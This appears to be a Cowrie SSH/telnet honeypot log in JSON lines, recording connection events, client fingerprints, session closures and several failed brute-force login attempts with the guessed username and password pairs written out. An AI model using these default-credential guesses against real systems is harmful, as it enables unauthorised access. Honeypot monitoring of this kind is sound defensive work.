{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:03.665133Z","src_ip":"213.209.159.158","session":"7398dd52228b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:03.669585Z","src_ip":"213.209.159.158","session":"7398dd52228b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59844,"dst_ip":"159.203.135.109","dst_port":23,"session":"c524f4ed4a8e","protocol":"telnet","message":"New connection: 162.55.233.176:59844 (159.203.135.109:23) [session: c524f4ed4a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:04.824531Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55674,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17b971fa259","protocol":"telnet","message":"New connection: 188.208.141.113:55674 (10.17.0.5:23) [session: b17b971fa259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:05.051751Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59854,"dst_ip":"159.203.135.109","dst_port":23,"session":"77da9e035b3b","protocol":"telnet","message":"New connection: 162.55.233.176:59854 (159.203.135.109:23) [session: 77da9e035b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:06.004696Z"}
{"eventid":"cowrie.session.closed","duration":43.23623490333557,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:06.405026Z","src_ip":"162.55.233.176","session":"9a5244f4b41c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.8209183216095,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:07.321916Z","src_ip":"162.55.233.176","session":"6e72238f9a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59866,"dst_ip":"159.203.135.109","dst_port":23,"session":"f49a9611802f","protocol":"telnet","message":"New connection: 162.55.233.176:59866 (159.203.135.109:23) [session: f49a9611802f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:07.373784Z"}
{"eventid":"cowrie.session.closed","duration":34.07186317443848,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:08.133129Z","src_ip":"162.55.233.176","session":"6b213bdc9483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.13576126098633,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:08.365507Z","src_ip":"162.55.233.176","session":"ad9529e26e5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59874,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cabe4bb1f07","protocol":"telnet","message":"New connection: 162.55.233.176:59874 (159.203.135.109:23) [session: 0cabe4bb1f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:08.468739Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55690,"dst_ip":"10.17.0.5","dst_port":23,"session":"31521240d9d3","protocol":"telnet","message":"New connection: 188.208.141.113:55690 (10.17.0.5:23) [session: 31521240d9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:09.239626Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cb8f2996375","protocol":"telnet","message":"New connection: 188.208.141.113:55704 (10.17.0.5:23) [session: 7cb8f2996375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:09.325980Z"}
{"eventid":"cowrie.session.closed","duration":35.23062777519226,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:09.531143Z","src_ip":"162.55.233.176","session":"6a51c4dc9489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41747736930847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:09.805341Z","src_ip":"162.55.233.176","session":"44ee3ebb8f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06191968917847,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:09.937897Z","src_ip":"162.55.233.176","session":"a75d182bbe04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.76522970199585,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:10.509482Z","src_ip":"188.208.141.113","session":"bd7d2cee02b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.6339967250823975,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:10.685659Z","src_ip":"188.208.141.113","session":"b17b971fa259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.39036679267883,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:11.503506Z","src_ip":"162.55.233.176","session":"269c1d397d59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59876,"dst_ip":"159.203.135.109","dst_port":23,"session":"84098a031411","protocol":"telnet","message":"New connection: 162.55.233.176:59876 (159.203.135.109:23) [session: 84098a031411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:11.787567Z"}
{"eventid":"cowrie.session.closed","duration":31.516812562942505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:11.907810Z","src_ip":"162.55.233.176","session":"486433ce0c04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4196360111236572,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:12.745509Z","src_ip":"188.208.141.113","session":"7cb8f2996375","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vs123456","message":"login attempt [root/vs123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:13.138981Z","src_ip":"213.209.159.158","session":"7398dd52228b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57042,"dst_ip":"159.203.135.109","dst_port":23,"session":"c639b85f0d8e","protocol":"telnet","message":"New connection: 162.55.233.176:57042 (159.203.135.109:23) [session: c639b85f0d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:13.481147Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57046,"dst_ip":"159.203.135.109","dst_port":23,"session":"54f145607b3f","protocol":"telnet","message":"New connection: 162.55.233.176:57046 (159.203.135.109:23) [session: 54f145607b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:13.499655Z"}
{"eventid":"cowrie.session.closed","duration":31.171030044555664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:13.783847Z","src_ip":"162.55.233.176","session":"9c40369754c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57060,"dst_ip":"159.203.135.109","dst_port":23,"session":"a371387ee92a","protocol":"telnet","message":"New connection: 162.55.233.176:57060 (159.203.135.109:23) [session: a371387ee92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:13.799352Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57064,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b415cc990b","protocol":"telnet","message":"New connection: 162.55.233.176:57064 (159.203.135.109:23) [session: 18b415cc990b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:14.350666Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57074,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecb998945a92","protocol":"telnet","message":"New connection: 162.55.233.176:57074 (159.203.135.109:23) [session: ecb998945a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:15.088328Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60490,"dst_ip":"10.17.0.5","dst_port":23,"session":"18fba51ac321","protocol":"telnet","message":"New connection: 188.208.141.113:60490 (10.17.0.5:23) [session: 18fba51ac321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:15.178554Z"}
{"eventid":"cowrie.session.closed","duration":40.202903509140015,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:15.284907Z","src_ip":"162.55.233.176","session":"080e1adba308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.437875986099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:15.461729Z","src_ip":"162.55.233.176","session":"4f780b4f54e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.586262464523315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:15.627773Z","src_ip":"188.208.141.113","session":"176f7bfcd12a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57084,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc8f6b3192e5","protocol":"telnet","message":"New connection: 162.55.233.176:57084 (159.203.135.109:23) [session: fc8f6b3192e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:15.750448Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57094,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c4399731fd","protocol":"telnet","message":"New connection: 162.55.233.176:57094 (159.203.135.109:23) [session: c8c4399731fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:15.996077Z"}
{"eventid":"cowrie.session.closed","duration":32.039421796798706,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:16.236118Z","src_ip":"162.55.233.176","session":"38150a0767f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:16.285720Z","src_ip":"213.209.159.158","session":"7398dd52228b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57102,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3a6b56d93b","protocol":"telnet","message":"New connection: 162.55.233.176:57102 (159.203.135.109:23) [session: fc3a6b56d93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:16.293213Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8384,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1ac04187df4","protocol":"ssh","message":"New connection: 213.209.159.158:8384 (10.17.0.5:22) [session: e1ac04187df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:16.379039Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57110,"dst_ip":"159.203.135.109","dst_port":23,"session":"afab942ea68d","protocol":"telnet","message":"New connection: 162.55.233.176:57110 (159.203.135.109:23) [session: afab942ea68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:16.523296Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57122,"dst_ip":"159.203.135.109","dst_port":23,"session":"a630054c7adf","protocol":"telnet","message":"New connection: 162.55.233.176:57122 (159.203.135.109:23) [session: a630054c7adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:17.237228Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57138,"dst_ip":"159.203.135.109","dst_port":23,"session":"14ce417237a5","protocol":"telnet","message":"New connection: 162.55.233.176:57138 (159.203.135.109:23) [session: 14ce417237a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:17.706334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:18.289123Z","src_ip":"213.209.159.158","session":"e1ac04187df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:18.294163Z","src_ip":"213.209.159.158","session":"e1ac04187df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57150,"dst_ip":"159.203.135.109","dst_port":23,"session":"51a0b0a44e05","protocol":"telnet","message":"New connection: 162.55.233.176:57150 (159.203.135.109:23) [session: 51a0b0a44e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:18.920185Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57160,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9039ab305bd","protocol":"telnet","message":"New connection: 162.55.233.176:57160 (159.203.135.109:23) [session: c9039ab305bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:20.381917Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57172,"dst_ip":"159.203.135.109","dst_port":23,"session":"a465aa1a4cf6","protocol":"telnet","message":"New connection: 162.55.233.176:57172 (159.203.135.109:23) [session: a465aa1a4cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:21.187805Z"}
{"eventid":"cowrie.session.closed","duration":31.47866129875183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:21.491083Z","src_ip":"162.55.233.176","session":"08eca9db31ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57176,"dst_ip":"159.203.135.109","dst_port":23,"session":"a289d95ab3cf","protocol":"telnet","message":"New connection: 162.55.233.176:57176 (159.203.135.109:23) [session: a289d95ab3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:21.856731Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":30184,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d959a3aad43","protocol":"ssh","message":"New connection: 38.137.11.14:30184 (10.17.0.5:22) [session: 6d959a3aad43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:22.243669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:22.248020Z","src_ip":"38.137.11.14","session":"6d959a3aad43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:22.482074Z","src_ip":"38.137.11.14","session":"6d959a3aad43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57180,"dst_ip":"159.203.135.109","dst_port":23,"session":"878b7ed20898","protocol":"telnet","message":"New connection: 162.55.233.176:57180 (159.203.135.109:23) [session: 878b7ed20898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:22.602974Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd123!@#","message":"login attempt [user/p@ssw0rd123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:23.452577Z","src_ip":"38.137.11.14","session":"6d959a3aad43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55248,"dst_ip":"159.203.135.109","dst_port":23,"session":"4609f9a0fab0","protocol":"telnet","message":"New connection: 162.55.233.176:55248 (159.203.135.109:23) [session: 4609f9a0fab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:23.715943Z"}
{"eventid":"cowrie.session.closed","duration":32.860687255859375,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:23.770385Z","src_ip":"162.55.233.176","session":"05d491d3c35f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.909684419631958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:24.015697Z","src_ip":"162.55.233.176","session":"4a68022a741c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:24.690899Z","src_ip":"38.137.11.14","session":"6d959a3aad43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.630987882614136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:24.985070Z","src_ip":"162.55.233.176","session":"38b84b730131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":58276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a83f05d32c21","protocol":"ssh","message":"New connection: 45.148.10.121:58276 (10.17.0.5:22) [session: a83f05d32c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:25.033227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:25.235096Z","src_ip":"45.148.10.121","session":"a83f05d32c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:25.240433Z","src_ip":"45.148.10.121","session":"a83f05d32c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55256,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63aec86fc93","protocol":"telnet","message":"New connection: 162.55.233.176:55256 (159.203.135.109:23) [session: c63aec86fc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:27.839612Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55260,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d45f48cc91","protocol":"telnet","message":"New connection: 162.55.233.176:55260 (159.203.135.109:23) [session: e2d45f48cc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:27.892447Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpspassword","message":"login attempt [root/vpspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:27.960215Z","src_ip":"213.209.159.158","session":"e1ac04187df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55276,"dst_ip":"159.203.135.109","dst_port":23,"session":"5401738489b3","protocol":"telnet","message":"New connection: 162.55.233.176:55276 (159.203.135.109:23) [session: 5401738489b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:28.502096Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55284,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f4d22478596","protocol":"telnet","message":"New connection: 162.55.233.176:55284 (159.203.135.109:23) [session: 5f4d22478596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:29.402932Z"}
{"eventid":"cowrie.session.closed","duration":30.716305255889893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:29.628990Z","src_ip":"162.55.233.176","session":"98d54560b72f","protocol":"telnet"}
